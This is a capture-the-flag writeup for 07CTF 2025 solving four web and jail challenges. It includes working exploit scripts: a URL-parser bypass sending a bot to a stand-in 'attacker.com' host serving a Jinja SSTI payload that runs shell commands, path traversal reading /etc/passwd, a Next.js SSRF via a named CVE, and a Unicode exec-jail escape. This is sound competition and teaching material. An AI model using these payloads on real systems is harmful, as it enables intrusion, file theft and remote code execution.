07CTF 2025 - writeup
EN[web] Render Me This
Overview
The server lets users upload and view files.

POST /upload performs security checks to prevent uploading anything other than images:
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def is_valid_image(file_stream):
"""Validate if the uploaded file is actually a valid PNG or JPG image using PIL"""
try:
file_stream.seek(0)
image = Image.open(file_stream)
image.verify()
if image.format not in ['JPEG', 'PNG']:
return False
return True
except Exception:
return False
finally:
file_stream.seek(0)
""" ... """
@app.route('/upload', methods=['POST'])
def upload():
""" ... """
if file and allowed_file(file.filename):
if not is_valid_image(file.stream):
return render_template('dashboard.html',
user=session['user'],
files=user_files.get(session['user'], []),
error="Invalid image file. Only valid PNG and JPG images are allowed.")
original_filename = secure_filename(file.filename)
random_filename = str(uuid.uuid4()) + '.jpg'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], random_filename)
file.save(filepath)
username = session['user']
file_info = {
'original_name': original_filename,
'stored_name': random_filename,
'upload_time': time.strftime('%Y-%m-%d %H:%M:%S')
}
user_files[username].append(file_info)
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html',
user=session['user'],
files=user_files.get(session['user'], []),
error="Only image files are allowed (JPG, PNG, GIF, BMP, WebP, TIFF)")
If the file passes the checks, it is saved with a random filename ending in .jpg.
POST /view allows rendering of HTML files using Jinja:
@app.route('/view')
def view_file():
if 'user' not in session:
return redirect(url_for('login'))
filename = request.args.get('name')
if not filename:
return "No filename specified", 400
jpg_path = f"./uploads/{filename}.jpg"
if os.path.exists(jpg_path):
""" ... """
html_path = f"./uploads/{filename}.html"
if os.path.exists(html_path):
try:
with open(html_path, 'r') as f:
content = f.read()
return render_template_string(content)
except Exception as e:
return render_template('error.html',
error="Error loading template",
message="There was an error processing the template file.")
return render_template('error.html',
error="File not found",
message="The requested file could not be found.")
POST /check-url performs a “security check” by launching Chrome, but it only accepts URLs whose hostname is example.com:
@app.route('/check-url', methods=['POST'])
def check_url():
if 'user' not in session:
return redirect(url_for('login'))
url = request.form.get('url')
if not url:
return "No URL provided", 400
try:
parsed_url = urlparse(url)
if not parsed_url.scheme:
return "Invalid URL format. Please include http:// or https://", 400
if not parsed_url.hostname or parsed_url.hostname != 'example.com':
return "Invalid URL. Only URLs from example.com are allowed.", 400
except Exception as e:
return f"Error parsing URL: {str(e)}", 400
thread = threading.Thread(target=run_security_scan_with_flag, args=(url,))
thread.start()
return render_template('security.html',
message="Security scan initiated! Results will be processed in the background.")
def run_security_scan_with_flag(url):
"""Simulate security scanning by opening URL in headless Chrome with flag cookie"""
try:
proc = subprocess.Popen(['google-chrome', url, "--no-sandbox", "--disable-gpu", "--disable-dev-shm-usage", f"--cookie=flag={flag}; Domain=example.com; Path=/; Secure; HttpOnly; SameSite=Strict"])
time.sleep(25)
proc.terminate()
except Exception as e:
print(f"Error running security scan: {e}")
Solution
You probably cannot upload HTML using POST /upload because its extension will always be .jpg, so we need to find another way to upload a file that ends with .html.
In urlparse, the backslash is treated litteraly, but in Chrome, the backslash is evaluated as forward slash. As a result, for http://attacker.com\@example.com/, urlparse recognize attacker.com\ as userinfo and example.com as hostname. On the other hand, Chrome recognize it as http://attacker.com/@example.com/, so attacker.com will be the hostname.
In POST /view, there's no path traversal check, so you can render any file unless it ends in .html. Also, the file is passed to render_template_string, so Jinja SSTI is possible here.
You can make the bot visit anywhere, so made it visit my website which downloads an HTML file. Then, I loaded the downloaded file using POST /view, which leads to SSTI then RCE.
import requests
URL = "http://231bc4ca57.ctf.0bscuri7y.xyz/"
# URL = "http://localhost:5000/"
EVIL = "https://attacker.com"
s = requests.session()
user = {
"username": "foo",
"password": "bar"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
r = s.post(URL + "check-url", data={
"url": EVIL + "\\@example.com"
})
r = s.get(URL + "view", params={
"name": "../../../../home/ctf/Downloads/x"
})
print(r.status_code)
print(r.text)
from flask import Flask
app = Flask(__name__)
@app.route("/@example.com")
def index():
return """
<a id="l" download="x.html">x</a>
<script>
const text = `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag/flag*').read() }}`;
l.href = "data:text/plain;charset=utf-8;base64," + btoa(unescape(encodeURIComponent(text)));
window.addEventListener("load", () => {
l.click();
})
</script>
"""
if __name__ == "__main__":
app.run(port=9911)
[web] Nextbox
Overview
This is a blackbox challenge for website that uses Next.js.

Solution
There is a directory traversal vulnerability in POST /api/profile/avatar.
import requests
import random
URL = "http://nextbox.ctf.0bscuri7y.xyz/"
s = requests.session()
user = {
'username': random.randbytes(16).hex(),
'password': 'xx',
'firstName': 'ああ',
'lastName': 'ああ',
'email': '[email protected]',
}
r = s.post(URL + 'api/auth/register', json=user, verify=False)
r = s.post(URL + 'api/auth/login', json=user, verify=False)
token = r.json()["token"]
s.headers={
"Authorization": f"Bearer {token}",
}
r = s.post(URL + 'api/profile/avatar', files={
"avatar": ("../../../../etc/passwd", "bar", 'image/png')
}, verify=False)
print(r.status_code)
print(r.text)
r = s.get(URL + 'api/get-avatar', verify=False)
print(r.status_code)
print(r.text)
From here:
- You can check
/proc/self/cwd/pages/api/get-secret-flag.jsto see the condition required forGET /api/get-secret-flagto return the flag.- You can probably get the flag from
GET http://127.0.0.1:39722/flag, butGET /api/get-secret-flagdoes not seem to return the result to the user.
- You can probably get the flag from
- You can check the Next.js version from
/proc/self/cmdline.- The version is
v15.4.6, which is vulnerable to CVE-2025-57822, allowing SSRF, and SSRF is what we want.
- The version is
- You can check
/proc/self/cwd/middleware.jsto confirm that the server is indeed vulnerable to CVE-2025-57822 if thex-secret-code-07header is set and the request is for/api/get-secret-flag.
Full Exploit
import requests
import random
import jwt
URL = "http://nextbox.ctf.0bscuri7y.xyz/"
s = requests.session()
user = {
'username': random.randbytes(16).hex(),
'password': 'xx',
'firstName': 'ああ',
'lastName': 'ああ',
'email': '[email protected]',
}
r = s.post(URL + 'api/auth/register', json=user, verify=False)
r = s.post(URL + 'api/auth/login', json=user, verify=False)
token = r.json()["token"]
s.headers={
"Authorization": f"Bearer {token}",
"x-secret-code-07": "1",
"Location": "http://127.0.0.1:39722/flag"
}
r = s.get(URL + 'api/get-secret-flag', verify=False)
print(r.status_code)
print(r.text)
[misc] The Gamble
Overview
This is a Pyjail where you can run any number of `exec('
actual: must consist of three characters, each either an uppercase ASCII letter or a whitespace character.operator: must consist of two characters, with at least one character being=and all characters havingc.isalpha()return False.guess: must consist of three characters.
The goal is to get the contents of ITEM variable.
import re
import uuid
from flask import Flask, request, render_template, jsonify, abort
app = Flask(__name__)
import os
ITEM = os.environ.get("FLAG", "07CTF{DUMMY}") # Read flag from environment variable
games = {}
base_exec_func = exec
import re
RE_ACTUAL = re.compile(r'^[A-Z ]{3}$')
A="Sorry, wrong guess."
B="Congratulations! Here is your flag:"
@app.route('/')
def home():
return render_template('home.html')
@app.route('/create', methods=['GET', 'POST'])
def create_game():
if request.method == 'POST':
actual = request.form.get('actual', '')
operator = request.form.get('operator', '')
if not RE_ACTUAL.fullmatch(actual):
return render_template('create.html', error='Actual must be exactly 3 lowercase letters')
if len(operator) != 2 or '=' not in operator:
return render_template('create.html', error='Operator must be exactly 2 chars and include "="')
#check each char of operator by isalnum()
if any(c.isalpha() for c in operator):
return render_template('create.html', error='Operator must not contain alphanum')
game_id = str(uuid.uuid4())[:8]
games[game_id] = {'actual': actual, 'operator': operator}
return render_template('created.html', game_id=game_id)
return render_template('create.html')
@app.route('/play/<game_id>', methods=['GET', 'POST'])
def play_game(game_id):
if game_id not in games:
abort(404)
message = "-"
flag = None
if request.method == 'POST':
guess = request.form.get('guess', '')
if len(guess) != 3:
message = 'Guess must be exactly 3 characters'
else:
actual = games[game_id]['actual']
operator = games[game_id]['operator']
expr = f"{actual}{operator}{guess}"
try:
result = base_exec_func(expr, globals())
except Exception as e:
message += "Sorry, wrong guess."
else:
if result:
message = B
flag = ITEM
else:
message = "Sorry, wrong guess."
print(A)
return render_template('play.html', game_id=game_id, message=message, flag=flag)
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
Solution
First, we fuzzed the Unicode letters c so that:
c.isalpha()returns false.- When normalized using NFKC, they evaluate to ASCII letters.
import string
for c in string.ascii_letters:
exec(f"{c}_val=1")
for i in range(0x110000):
c = chr(i)
try:
if not c.isalpha() and eval(c+"_val"):
print(c)
except:
pass
Result:
Ⅰ
Ⅴ
Ⅹ
Ⅼ
Ⅽ
Ⅾ
Ⅿ
ⅰ
ⅴ
ⅹ
ⅼ
ⅽ
ⅾ
ⅿ
These letters can be included in operators, so expressions like A =ⅠTEMS are valid and are evaluated as A = ITEMS in Python.
Similarly:
- You can get an item of an iterable using
A =Ⅴ[N]. - You can call a function that has fewer than 3 letters by doing
V = chr, thenW =Ⅴ(N).
There is probably no way to leak the flag directly, but we can detect whether the expression raised an error because it will return -Sorry, wrong guess. instead of Sorry, wrong guess..
We can detect whether the character c has the code point n by executing code equivalent to 1/(ord(c)-n) and checking for a zero-division error.
Full Exploit
import requests
import re
# URL = "http://localhost:5000/"
URL = "http://89f1db35b9.ctf.0bscuri7y.xyz/"
s = requests.session()
def run(s, v1, v2, v3):
r = s.post(URL + "create", data={
"actual": v1,
"operator": v2
})
gid = re.findall(r'href="/play/([^"]+)"', r.text)[0]
r = s.post(URL + f"play/{gid}", data={
"guess": v3,
})
return r.text
run(s, "V ", "=Ⅰ", "TEM")
run(s, "X ", "= ", "ord")
known = ""
for i in range(0,100):
run(s, "A ", "= ", str(i).rjust(3))
run(s, "A ", "=Ⅴ", "[A]")
run(s, "A ", "=Ⅹ", "(A)")
run(s, "A ", "-=", "33 ")
j = 33
while True:
r = run(s, "XXX", "= ", "1/A")
if "-Sorry, wrong guess." in r:
known += chr(j)
print(known)
break
run(s, "A ", "-=", "1 ")
j += 1
print("next ", i, j)
[misc] Jailhouserock
Overview
This is a jail challenge that uses the Rockstar esolang. The goal is to write a decrypter for encrypt_key in Rockstar code without using any punctuation or digits.
import sys
import re
import secrets
import os
import subprocess
import tempfile
import base64
FLAG = os.getenv("FLAG")
key = secrets.token_urlsafe(32)
def encrypt_key(key):
scrambled = []
for i, c in enumerate(key):
shifted_char = chr((ord(c) + (i + 1)) % 256)
scrambled.append(shifted_char)
scrambled_str = ''.join(scrambled)
result = scrambled_str[::-1]
return result
def prison_gate():
gate = '''
________
| |
| ____ |
| | | |
| | | |
| |__| |
|________|
| | |
| | |
| | |
| | |
|___|____|
(c) Hard Rock Penitentiary
Enter your decryption function:
Finish your input with $$END$$ on a newline
___________________________________________
'''
print(gate)
def print_open_jail():
print(f"""
YOU DID IT
_____________________
| _________________ |
| | _________ | |
| | | | | |
| | | __ | | |
| | | |__| | | |
| | |_________| | |
| | | |
| | | |
| |_________________| |
|_____________________|
${base64.b64decode(FLAG)}
""")
def jail(code):
symbol_pattern = r'[^\w\t\n\s,]'
for line in code:
symbols = re.findall(symbol_pattern, line)
if symbols:
if line.strip() != "$$END$$":
print(f"How am I supposed to sing that...")
return False
for char in line:
if char.isdigit():
print(f"Where do you think you're at? In a math class? You're a rockstar, be poetic!")
return False
return True
def write_down_lyrics(strings, suffix='.rock'):
with tempfile.NamedTemporaryFile(delete=False, mode='w', suffix=suffix) as temp_file:
for string in strings:
temp_file.write(string)
return temp_file
def sing(code):
code.insert(0,"let something be arguments at 0\n")
code.extend(["let liberty be decrypt taking something\n","shout liberty\n"])
encrypted_key = encrypt_key(key)
file = write_down_lyrics(code)
try:
result = subprocess.run(['../rockstar', file.name, encrypted_key], capture_output=True, text=True)
except Exception as e:
print(f"Something went really wrong {e}")
exit(1)
# os.remove(file.name)
return result.stdout.strip()
def read_until():
line = ""
code = []
while True:
line = sys.stdin.readline()
if "$$END$$" in line:
break
code.append(line)
return code
def main():
prison_gate()
input_text = read_until()
valid = jail(input_text)
if valid:
v = sing(input_text)
print(v, key)
if v == key:
print_open_jail()
else:
print("Aw... what happen to your voice..")
else:
print("Look on the bright side, you have only 24 years left.")
exit
if __name__ == "__main__":
main()
Solution
Reading the documentation:
- To express numbers without using digits, we can write
X is aaa; thenXwill equal 3. - To express a single character, we can write
Cast X, whereXis the code point for that character.
From here, you can express anything that is possible in Rockstar, so we implemented the decoder as follows:
Full Exploit
let something be arguments at 0
One is a
Two is aa
Hoge is aaaa
Hoge is times Hoge
Hoge is times Hoge
Put one minus two into negone
Foo is a
Put something of negone into rev
For r in rev
Cast r
Put r plus hoge minus foo into bar
If bar is more than hoge
Bar is without hoge
End
Cast bar into bar
Write bar
Foo is with one
End
decrypt takes x giving empty
let liberty be decrypt taking something
shout liberty